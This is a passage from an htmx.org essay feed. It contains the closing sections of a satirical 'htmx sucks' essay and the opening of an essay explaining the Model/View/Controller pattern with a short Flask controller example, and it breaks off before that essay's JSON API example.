&lt;p&gt;The first glaring issue is something the authors, again, brag about: it uses &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;hypermedia&lt;&#x2F;a&gt;. Really
this is just a pretentious way of saying “it uses HTML”, I don’t know why they insist on using a different and confusing
term for it, but whatever.&lt;&#x2F;p&gt;
&lt;p&gt;OK, well, if you haven’t noticed, HTML is over thirty years old now.  It’s ancient.  And, moreover, we have lots of
experience with the approach these guys are recommending.  It’s not like htmx is doing anything new: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&quot;&gt;intercooler.js&lt;&#x2F;a&gt;,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;defunkt&#x2F;jquery-pjax&quot;&gt;PJax&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;&quot;&gt;Unpoly&lt;&#x2F;a&gt; (way better than htmx, btw) have been around literally &lt;em&gt;forever&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Even before that, we had &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;api.jquery.com&#x2F;load&#x2F;#load-url-data-complete&quot;&gt;&lt;code&gt;jquery.load()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Look at this jQuery code from 2008:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#result&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ajax&#x2F;test.html&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And now look at the super innovative stuff the htmx folks give us:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;ajax&#x2F;test.html&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#result&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Load
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Wow.  Amazing.&lt;&#x2F;p&gt;
&lt;p&gt;It would be funny if it weren’t so infuriating.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-components&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-components&quot; aria-label=&quot;Anchor link for: no-components&quot;&gt;No Components&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The next reason to consider not using htmx is that there aren’t any components available for it.  If you go with
react you get things like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mui.com&#x2F;&quot;&gt;MUI&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nextui.org&#x2F;&quot;&gt;NextUI&lt;&#x2F;a&gt; &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;chakra-ui.com&#x2F;&quot;&gt;Chakra&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;With htmx, you get… nothing.  You have to figure out what components you want to use and then how to integrate them
with htmx using events and so forth.&lt;&#x2F;p&gt;
&lt;p&gt;Do you really want to spend time figuring out how things like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lit.dev&#x2F;&quot;&gt;lit&lt;&#x2F;a&gt; work and then &lt;em&gt;also&lt;&#x2F;em&gt; how to
integrate them with htmx?  That doesn’t make any sense.  Far better to go with a front end library with integrated,
off-the-shelf components you can just use without any fuss.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-front-end-back-end-split&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-front-end-back-end-split&quot; aria-label=&quot;Anchor link for: no-front-end-back-end-split&quot;&gt;No Front-End&#x2F;Back-End Split&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Another major reason to avoid htmx is that it eliminates the split between the Back-End &amp;amp; Front-End teams.  They even
have a page with a team &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-real-world-react-to-htmx-port&#x2F;&quot;&gt;bragging about it as a virtue&lt;&#x2F;a&gt; when their company (foolishly)
moved from React to htmx.&lt;&#x2F;p&gt;
&lt;p&gt;The Front-End&#x2F;Back-End split has been extremely successful for many companies, allowing the Front-End engineers
to focus on building a good user experience, and the Back-End engineers to focus on getting the data access layer
right.&lt;&#x2F;p&gt;
&lt;p&gt;Yes, there are at times some difficulties in coordinating between the two teams, with Back-End engineers complaining that
Front-End engineers change their requirements too frequently and Front-End engineers complaining that Back-End engineers
move too slowly.  But we have technologies like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;graphql.org&#x2F;&quot;&gt;GraphQL&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;react.dev&#x2F;reference&#x2F;react&#x2F;use-server&quot;&gt;RSC&lt;&#x2F;a&gt; to
help with that, it’s a solved problem at this point within the existing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&#x2F;2020&#x2F;10&#x2F;28&#x2F;if-not-spas.html&quot;&gt;standard web application model&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The Front-End&#x2F;Back-End split has proven a very good organizational model for companies, particularly as they scale their development
team, and abandoning it for “Full Stack” (so called) development is risky and, frankly, foolish.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;back-end-engineers-make-garbage-uis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#back-end-engineers-make-garbage-uis&quot; aria-label=&quot;Anchor link for: back-end-engineers-make-garbage-uis&quot;&gt;Back-End Engineers Make Garbage UIs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Leaving aside if the Front-End&#x2F;Back-End split is good or not, we can definitively say that Back-End engineers make
garbage user interfaces.&lt;&#x2F;p&gt;
&lt;p&gt;Just look at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;the htmx website&lt;&#x2F;a&gt;.  You’ve got inline styles, tables, a bunch of image tags
didn’t have &lt;code&gt;alt&lt;&#x2F;code&gt; descriptions forever.  Just a dogs breakfast of bad HTML, from people who are trying to tell us
to use HTML!&lt;&#x2F;p&gt;
&lt;p&gt;You should leave your user interfaces in the hands of people who understand how to properly build them, and those
people are, today, mostly Front-End SPA developers.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xss-vulnerabilities&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#xss-vulnerabilities&quot; aria-label=&quot;Anchor link for: xss-vulnerabilities&quot;&gt;XSS Vulnerabilities&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Getting back to a more technical reason why you shouldn’t use htmx, it opens you up to a class of security issues called
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;attacks&#x2F;xss&#x2F;&quot;&gt;Cross-Site Scripting attacks&lt;&#x2F;a&gt;, abbreviated “XSS”.&lt;&#x2F;p&gt;
&lt;p&gt;The problem here is fundamental to the design of htmx: it enables &amp;amp; and even encourages you to put &lt;em&gt;behavior&lt;&#x2F;em&gt; in your markup.  Once
again we see a clear violation of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Separation_of_concerns&quot;&gt;Separation of Concerns&lt;&#x2F;a&gt;.
We’ve known for ages in web development that you should separate your markup, styling and behavior into HTML, CSS &amp;amp;
JavaScript files respectively.&lt;&#x2F;p&gt;
&lt;p&gt;By violating this obvious and well known truth htmx makes you vulnerable to other people injecting behavior into your
web application if you don’t &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross_Site_Scripting_Prevention_Cheat_Sheet.html&quot;&gt;sanitize your HTML&lt;&#x2F;a&gt;
properly.&lt;&#x2F;p&gt;
&lt;p&gt;Sometimes the htmx author will make a smart-alec comment like “Well, how do you feel about the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;a#href&quot;&gt;href&lt;&#x2F;a&gt; attribute?”, but that’s different, obviously.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-jobs&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-jobs&quot; aria-label=&quot;Anchor link for: no-jobs&quot;&gt;No Jobs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Another practical reason not to use htmx is that there are, rounding off, zero htmx jobs.&lt;&#x2F;p&gt;
&lt;p&gt;I just did a search for htmx jobs on indeed and found a grand total of two: one at Microsoft and one at Oak Ridge
National Laboratory.&lt;&#x2F;p&gt;
&lt;p&gt;A search for “react”, on the other hand, gives 13,758 jobs.&lt;&#x2F;p&gt;
&lt;p&gt;Seriously, developer, which of these two technologies do you want to hitch your career to?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-one-to-hire&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-one-to-hire&quot; aria-label=&quot;Anchor link for: no-one-to-hire&quot;&gt;No One To Hire&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The flip side of the above problem is that, if you are a company, there are, rounding off, zero htmx developers.&lt;&#x2F;p&gt;
&lt;p&gt;Everyone goes to bootcamps and learns React.  If you want to have a large potential employee pool (maybe your company
has high turnover for some reason, maybe you want to keep employee wages down, maybe a small team of full stack engineers
would get in the way of your kingdom building) it makes a ton more sense to go with The Big Dog in front end development.&lt;&#x2F;p&gt;
&lt;p&gt;Today, that dog is React.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;duplicating-or-more-your-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#duplicating-or-more-your-apis&quot; aria-label=&quot;Anchor link for: duplicating-or-more-your-apis&quot;&gt;Duplicating (Or More!) Your APIs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Getting back to the more technical side of things, if you adopt htmx and you want to &lt;em&gt;also&lt;&#x2F;em&gt; have a mobile app or an
API for 3rd parties to use, you will need to create that API entirely separately from your web application’s end points.&lt;&#x2F;p&gt;
&lt;p&gt;Here, again, we find that, incredibly, the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;htmx people brag about this fact&lt;&#x2F;a&gt;, completely
ignoring the duplication of work involved here.&lt;&#x2F;p&gt;
&lt;p&gt;It makes far more sense to have a single API maintained by a single, Back-End team that can flexibly serve all your
needs.&lt;&#x2F;p&gt;
&lt;p&gt;This is obvious and, frankly, not worth even arguing about.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;it-won-t-scale&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#it-won-t-scale&quot; aria-label=&quot;Anchor link for: it-won-t-scale&quot;&gt;It Won’t Scale&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Another technical issue with htmx is that it just won’t scale.  It may work for small applications, but as applications
get larger the htmx model breaks down and becomes a mess.  The component model of React and other front-end tools keeps
everything compartmentalized and testable.  This makes it much easier to keep large codebases clean.&lt;&#x2F;p&gt;
&lt;p&gt;As an example, consider &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;&quot;&gt;GitHub&lt;&#x2F;a&gt;, which started out using technology a lot like htmx.  It has
recently started adopting React and is now much more stable than it was previously.  They would have been better off
if they had just started with React and built the whole thing in a modern, component-based way, but at least they
are making the right move now.  Better late than never.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-creator-is-unhinged&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-creator-is-unhinged&quot; aria-label=&quot;Anchor link for: the-creator-is-unhinged&quot;&gt;The Creator Is Unhinged&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Finally, and maybe the most important reason not to use htmx: the creator is obviously unhinged.&lt;&#x2F;p&gt;
&lt;p&gt;Just look at the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&quot;&gt;twitter feed&lt;&#x2F;a&gt;: unprofessional, childish, intentionally provocative.&lt;&#x2F;p&gt;
&lt;p&gt;Or consider the fact that he posts &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;is-htmx-another-javascript-framework&#x2F;&quot;&gt;essays he&lt;&#x2F;a&gt;) &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;htmx-sucks&#x2F;&quot;&gt;doesn’t agree with&lt;&#x2F;a&gt; to
his own site.&lt;&#x2F;p&gt;
&lt;p&gt;The essays tab &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;#memes&quot;&gt;has a section for memes&lt;&#x2F;a&gt;, most of which are cringe-worthy and all
of which have no business being on a website of a front end library that expects to be taken seriously.&lt;&#x2F;p&gt;
&lt;p&gt;Apparently he allows &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.ceo&quot;&gt;anyone to be the CEO of htmx&lt;&#x2F;a&gt; and make one of those super-cringey
job announcements on LinkedIn.&lt;&#x2F;p&gt;
&lt;p&gt;Wanton buffoonery.&lt;&#x2F;p&gt;
&lt;p&gt;When you pick a front-end library you are, to an extent, picking the author of that library as a co-worker.  Do you
really want to work this guy?  I certainly don’t.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I hope this has convinced you that choosing htmx &amp;amp; hypermedia for your web application is an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;ProgrammerHumor&#x2F;comments&#x2F;zmyug8&#x2F;edsger_dijkstra_math_and_memes&#x2F;&quot;&gt;exceptionally bad idea&lt;&#x2F;a&gt; that could only
have originated in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bigsky.software&quot;&gt;Montana&lt;&#x2F;a&gt;.  Don’t listen to the fanboys and fangirls with their “It’s so over”,
“We’re so back” nonsense, CEO profiles and childish memes.&lt;&#x2F;p&gt;
&lt;p&gt;Software, and especially Front-End software is serious business and needs to be treated with the same gravity as things
like law &amp;amp; politics, two other extremely serious and productive activities.  We should support libraries that focus on
innovation &amp;amp; sophistication, not broken, backwards-looking libraries whose creator spends most of his time posting
ridiculous things on twitter.&lt;&#x2F;p&gt;
&lt;p&gt;It’s just common sense: htmx sucks.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Model&#x2F;View&#x2F;Controller (MVC)</title>
        <published>2024-01-16T00:00:00+00:00</published>
        <updated>2024-01-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/mvc/"/>
        <id>https://htmx.org/essays/mvc/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/mvc/">&lt;p&gt;A common objection I see to using htmx and hypermedia is something along the lines of:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The problem with returning HTML (and not JSON) from your server is that you’d probably also like to serve mobile
apps and don’t want to duplicate your API&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I have already outlined in &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;another essay&lt;&#x2F;a&gt; that I think you should split your JSON API &amp;amp; your
hypermedia API up into separate components.&lt;&#x2F;p&gt;
&lt;p&gt;In that essay I explicitly recommend “duplicating” (to an extent) your API, in order to
disentangle your “churny” web application API endpoints that return HTML from your
stable, regular &amp;amp; expressive JSON Data API.&lt;&#x2F;p&gt;
&lt;p&gt;In looking back at conversations I’ve had around this idea with people, I think that I have been assuming familiarity
with a pattern that many people are not as familiar with as I am: the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Model%E2%80%93view%E2%80%93controller&quot;&gt;Model&#x2F;View&#x2F;Controller&lt;&#x2F;a&gt; (MVC)
pattern.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-mvc-intro&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-mvc-intro&quot; aria-label=&quot;Anchor link for: an-mvc-intro&quot;&gt;An MVC Intro&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I was a little shocked to discover &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=9H5VK9vJ-aw&quot;&gt;in a recent podcast&lt;&#x2F;a&gt; that many younger
web developers just don’t have much experience with MVC. This is perhaps due to the Front-end&#x2F;Back-end split that occurred when Single Page Applications became the norm.&lt;&#x2F;p&gt;
&lt;p&gt;MVC is a simple pattern that predates the web and can be with nearly any program that offers a graphical interface
to a user.&lt;&#x2F;p&gt;
&lt;p&gt;The rough idea is as follows:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A “Model” layer contains your &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Domain_model&quot;&gt;“Domain Model”&lt;&#x2F;a&gt;.  This layer contains the
domain logic specific to the application.  So, for example, a contact management application will have contact-related
logic in this layer.  It will not have references to visual elements in it, and should be relatively “pure”.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;A “View” layer contains the “view” or visual elements that are presented to the user.  This layer often (although not always)
works with model values to present visual information to the user.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Finally, a “Controller” layer, which coordinates these two layers: for example it might receive an update from a user,
update a Model and then pass the updated model to a View to display an update user interface to the user.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;There are a lot of variations, but that’s the idea.&lt;&#x2F;p&gt;
&lt;p&gt;Early on in web development many server side frameworks explicitly adopted the MVC pattern.  The implementation
that I’m most familiar with is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rubyonrails.org&#x2F;&quot;&gt;Ruby On Rails&lt;&#x2F;a&gt;, which has documentation on each of these
topics: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;active_record_basics.html&quot;&gt;Models&lt;&#x2F;a&gt; that are persisted to the database,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;action_view_overview.html&quot;&gt;Views&lt;&#x2F;a&gt; for generating HTML views, and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;action_controller_overview.html&quot;&gt;Controllers&lt;&#x2F;a&gt; that coordinate between the two.&lt;&#x2F;p&gt;
&lt;p&gt;The rough idea, in Rails, is:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Models collect your application logic and database accesses&lt;&#x2F;li&gt;
&lt;li&gt;Views take Models and generate HTML via a templating language (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ruby&#x2F;erb&quot;&gt;ERB&lt;&#x2F;a&gt;, this is where &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;HTML_sanitization&quot;&gt;HTML sanitizing&lt;&#x2F;a&gt; is done, btw)&lt;&#x2F;li&gt;
&lt;li&gt;Controllers take HTTP Requests and, typically, perform some action with a Model and then pass that Model on to a
View (or redirect, etc.)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Rails has a fairly standard  (although somewhat “shallow” and simplified) implementation of the MVC pattern, built on
top of the underlying HTML, HTTP Request&#x2F;Response lifecycle.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fat-model-skinny-controller&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#fat-model-skinny-controller&quot; aria-label=&quot;Anchor link for: fat-model-skinny-controller&quot;&gt;Fat Model&#x2F;Skinny Controller&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;One concept that came up a lot in the Rails community was the notion of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;riptutorial.com&#x2F;ruby-on-rails&#x2F;example&#x2F;9609&#x2F;fat-model--skinny-controller&quot;&gt;“Fat Model, Skinny Controller”&lt;&#x2F;a&gt;.  The
idea here is that your Controllers should be relatively simple, only maybe invoking
a method or two on the Model and then immediately handing the result on to a View.&lt;&#x2F;p&gt;
&lt;p&gt;The Model, on the other hand, could be much “thicker” with lots of domain specific logic.  (There are objections
that this leads to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;God_object&quot;&gt;God Objects&lt;&#x2F;a&gt;, but let’s set that aside for now.)&lt;&#x2F;p&gt;
&lt;p&gt;Let’s keep this idea of fat model&#x2F;skinny controller in mind as we work through a simple example of the MVC pattern and
why it is useful.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-mvc-style-web-application&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-mvc-style-web-application&quot; aria-label=&quot;Anchor link for: an-mvc-style-web-application&quot;&gt;An MVC-Style Web Application&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;For our example, let’s take a look at one of my favorites: an online Contacts application.  Here is a Controller method
for that application that displays a given page of Contacts by generating an HTML page:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;@app.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    contacts = Contact.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;all&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;page&lt;&#x2F;span&gt;&lt;span&gt;=request.args.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;page&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=int))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_template&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;index.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;=contacts)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here I’m using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.python.org&#x2F;&quot;&gt;Python&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;flask.palletsprojects.com&#x2F;en&#x2F;3.0.x&#x2F;&quot;&gt;Flask&lt;&#x2F;a&gt;, since I use
those in my &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&#x2F;&quot;&gt;Hypermedia Systems&lt;&#x2F;a&gt; book.&lt;&#x2F;p&gt;
&lt;p&gt;Here you can see that the controller is very “thin”: it simply looks up contacts via the &lt;code&gt;Contact&lt;&#x2F;code&gt; Model object, passing
a &lt;code&gt;page&lt;&#x2F;code&gt; argument in from the request.&lt;&#x2F;p&gt;
&lt;p&gt;This is very typical: the Controllers job is to map an HTTP request into some domain logic, pulling HTTP-specific
information out and turning it into data that the Model can understand, such as a page number.&lt;&#x2F;p&gt;
&lt;p&gt;The controller then hands the paged collection of contacts on to the &lt;code&gt;index.html&lt;&#x2F;code&gt; template, to render them to
an HTML page to send back to the user.&lt;&#x2F;p&gt;
&lt;p&gt;Now, the &lt;code&gt;Contact&lt;&#x2F;code&gt; Model, on the other hand, may be relatively “fat” internally: that &lt;code&gt;all()&lt;&#x2F;code&gt; method could have a bunch
of domain logic internally that does a database lookup, pages the data somehow, maybe applies some transformations or
business rules, etc.  And that would be fine, that logic is encapsulated within the Contact model and the Controller
doesn’t have to deal with it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;creating-a-json-data-api-controller&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#creating-a-json-data-api-controller&quot; aria-label=&quot;Anchor link for: creating-a-json-data-api-controller&quot;&gt;Creating A JSON Data API Controller&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easily create a
&lt;em&gt;different&lt;&#x2F;em&gt; API end point&#x2F;Controller that does something similar, but returns a JSON document rather than an HTML
document:&lt;&#x2F;p&gt;
